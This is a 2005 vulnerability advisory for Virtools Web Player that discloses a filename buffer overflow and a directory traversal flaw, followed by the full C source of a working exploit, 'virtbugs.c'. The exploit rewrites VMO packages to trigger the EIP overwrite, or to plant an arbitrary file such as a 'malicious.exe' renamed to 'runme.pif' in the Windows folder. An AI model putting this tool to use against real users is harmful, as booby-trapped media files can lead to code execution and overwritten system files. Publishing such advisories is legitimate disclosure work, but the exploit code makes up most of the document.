####################################################################### Luigi Auriemma Application: Virtools Web Player and probably also other applications which can read the Virtools files but I can't test http://www.virtools.com Versions: <= 3.0.0.100 Platforms: Windows (seems also Mac is supported) Bugs: A] buffer-overflow B] directory traversal Exploitation: remote/local Date: 30 Sep 2005 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: http://aluigi.altervista.org ####################################################################### 1) Introduction 2) Bugs 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== Virtools is a set of applications for creating games, demos, CAD, simulations and other multimedia stuff. Virtools Web Player is the program which allows the usage of these creations from the net through its implementation in the web browser. ####################################################################### ======= 2) Bugs ======= Other than the scripts the Virtools packages (for example those with extension VMO) contain also some additional files like mp3, wav, images and so on which are extracted in a temporary folder in the system temp directory like, for example, c:\windows\temp\VTmp26453 ------------------ A] buffer-overflow ------------------ Exists a buffer-overflow bug which happens during the handling of the names of the files contained in the Virtools packages. A filename of at least 262 bytes overwrites the EIP register allowing possible execution of malicious code. ---------------------- B] directory traversal ---------------------- As previously said the files are stored in a temporary directory and if already exist files with the same names they are fully overwritten. The problem here is that there are no checks on the filenames so the usage of the classical "..\" patterns allows an attacker to overwrite any file in the disk where is located the system temp folder (usually c:\). ####################################################################### =========== 3) The Code =========== http://aluigi.altervista.org/poc/virtbugs.zip ####################################################################### ====== 4) Fix ====== Version 3.0.0.101 ####################################################################### --- Luigi Auriemma http://aluigi.altervista.org Exploit: virtbugs.c /* by Luigi Auriemma */ #include #include #include #include #ifdef WIN32 #include typedef unsigned char u_char; typedef unsigned int u_int; #define ftruncate chsize #else #include #include #endif #define VER "0.1" #define SIGN "Nemo" #define FILE1 "components" #define FILE2 "objects" #define FMT "%-10u" #define EIP "\xde\xc0\xad\xde" #define BOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aa" EIP #define BOFFILE "Nemo il pesce scemo" u_int putfile(FILE *fdout, char *fname); void std_err(void); struct { u_char sign[4]; u_int unknown1; // 0x694620 u_int crc; // ??? u_int unknown2; // big-endian sdk version? u_int plugin1; u_int plugin2; u_int unknown3; // 12 u_int compcsz; u_int objcsz; u_int objsz; u_int addpath; // ??? u_int components; u_int objects; u_int zero; // ??? u_int version; u_int compsz; } vmo; int main(int argc, char *argv[]) { FILE *fd; u_int i, len, off; int attack; u_char fname[512], *vmofile, *addfile, *addpath; setbuf(stdout, NULL); fputs("\n" "Virtools <= 3.0.0.100 buffer-overflow and directory traversal bugs "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s \n" "\n" "Attack:\n" " 1 = buffer-overflow\n" " 2 = directory traversal, is needed to specify also the file to add and the\n" " special path for exploiting the bug\n" "\n" "Example: virtbugs 1 tintoys.vmo\n" "Example: virtbugs 2 tintoys.vmo malicious.exe ..\\..\\..\\..\\windows\\runme.pif\n" "Note: will be replaced only the latest file in the package\n" "Note: if you need a quick VMO file use the following:\n" " http://www.virtools.com/downloads/vmo/Tintoys/tintoys.vmo" "\n", argv[0]); exit(1); } attack = atoi(argv[1]); vmofile = argv[2]; if((attack != 1) && (attack != 2)) { fputs("\nError: wrong attack number chosen\n\n", stdout); exit(1); } printf("- open VMO file: %s\n", vmofile); fd = fopen(vmofile, "r+b"); if(!fd) std_err(); if(!fread(&vmo, sizeof(vmo), 1, fd)) std_err(); off = ftell(fd); if(memcmp(vmo.sign, SIGN, sizeof(vmo.sign))) { printf("- file seems invalid, its sign is: %.*s\n", sizeof(vmo.sign), vmo.sign); } printf( " Informations and files list:\n" "- components: %u\n" "- objects: %u\n" "- version: %hhu.%hhu.%hhu.%hhu\n" "\n", vmo.components, vmo.objects, (vmo.version >> 24) & 0xff, (vmo.version >> 16) & 0xff, (vmo.version >> 8) & 0xff, vmo.version & 0xff); fputs( " inSize outSize Filename\n" " ------------------------------\n", stdout); printf(" "FMT" "FMT" %s\n", vmo.compcsz, vmo.compsz, FILE1); printf(" "FMT" "FMT" %s\n", vmo.objcsz, vmo.objsz, FILE2); if(fseek(fd, off + vmo.compcsz + vmo.objcsz, SEEK_SET) < 0) std_err(); for(i = 2; ; i++) { if(!fread(&len, 4, 1, fd)) break; off = ftell(fd) - 4; if(!fread(fname, len, 1, fd)) break; if(len > (sizeof(fname) - 1)) break; // checks fname[len] = 0; if(!*fname) break; if(!fread(&len, 4, 1, fd)) break; printf(" "FMT" %s\n", len, fname); if(fseek(fd, len, SEEK_CUR) < 0) std_err(); } if(i <= 2) { fputs("\n" "Error: your VMO file doesn't contain additional files so cannot be modified\n" " try with another\n" "\n", stdout); exit(1); } fseek(fd, off, SEEK_SET); if(attack == 1) { fputs("\n- buffer-overflow bug exploitation\n", stdout); len = sizeof(BOF) - 1; fwrite(&len, 4, 1, fd); fwrite(BOF, len, 1, fd); len = sizeof(BOFFILE) - 1; fwrite(&len, 4, 1, fd); fwrite(BOFFILE, len, 1, fd); } else if(attack == 2) { fputs("\n- directory traversal bug exploitation\n", stdout); if(argc < 5) { fputs("\nError: you must specify also and \n\n", stdout); exit(1); } addfile = argv[3]; addpath = argv[4]; len = strlen(addpath); fwrite(&len, 4, 1, fd); fwrite(addpath, len, 1, fd); len = putfile(fd, addfile); } fflush(fd); if(ftruncate(fileno(fd), ftell(fd)) < 0) std_err(); fflush(fd); fclose(fd); printf("- added a file of %u bytes\n", len); return(0); } u_int putfile(FILE *fdout, char *fname) { struct stat xstat; FILE *fdin; u_int len, tot = 0; u_char buff[1024]; fdin = fopen(fname, "rb"); if(!fdin) std_err(); fstat(fileno(fdin), &xstat); fwrite(&xstat.st_size, 4, 1, fdout); while((len = fread(buff, 1, sizeof(buff), fdin))) { fwrite(buff, len, 1, fdout); tot += len; } fclose(fdin); return(tot); } void std_err(void) { perror("\nError"); exit(1); }